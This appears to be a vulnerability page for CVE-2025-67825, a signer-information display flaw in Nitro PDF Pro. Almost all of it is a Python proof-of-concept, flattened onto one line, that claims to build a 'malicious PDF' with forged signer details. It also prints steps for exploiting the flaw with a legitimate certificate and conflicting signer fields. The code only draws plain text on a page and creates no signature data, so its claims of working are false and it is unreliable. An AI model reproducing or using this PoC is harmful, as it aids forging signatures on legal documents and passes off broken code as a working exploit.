CVE-2025-67825: Nitro PDF Pro签名验证信息显示不一致漏洞

#!/usr/bin/env python3 # CVE-2025-67825 PoC - Nitro PDF Pro签名信息伪造 # 此PoC演示如何创建包含伪造签名者信息的PDF文档 from reportlab.pdfgen import canvas from reportlab.lib.pagesizes import letter import os def create_malicious_pdf(): """创建包含伪造签名者信息的恶意PDF""" pdf_filename = "CVE-2025-67825_malicious.pdf" c = canvas.Canvas(pdf_filename, pagesize=letter) # 添加文档内容 c.drawString(100, 750, "Important Legal Document") c.drawString(100, 730, "This document appears to be signed by:") c.drawString(100, 710, "ACME Corporation (Legitimate Company)") c.drawString(100, 690, "John Smith, CEO") c.drawString(100, 670, "") c.drawString(100, 650, "[Signature Block with forged signer info]") # 添加伪造的签名元数据 # 这些信息会在某些Nitro PDF Pro版本中显示 c.drawString(100, 600, "Signer: Attacker Name") c.drawString(100, 580, "Organization: Target Corporation") c.drawString(100, 560, "Date: 2025-01-15") c.save() print(f"[+] Created malicious PDF: {pdf_filename}") print(f"[+] The PDF contains forged signer information") print(f"[+] When opened in Nitro PDF Pro < 14.42.0.34, signer info may be displayed incorrectly") return pdf_filename def create_signed_pdf_with_mismatched_info(): """ 创建具有签名但签名者信息不匹配的PDF 实际证书信息和显示信息不一致 """ print("[*] To fully exploit CVE-2025-67825:") print("[*] 1. Create a valid digital certificate") print("[*] 2. Sign the PDF with a legitimate certificate") print("[*] 3. Embed conflicting signer information in signature fields") print("[*] 4. Nitro PDF Pro will display the conflicting (unverified) info") if __name__ == "__main__": print("=" * 60) print("CVE-2025-67825 PoC - Nitro PDF Pro Signature Display Issue") print("=" * 60) create_malicious_pdf() create_signed_pdf_with_mismatched_info() print("=" * 60)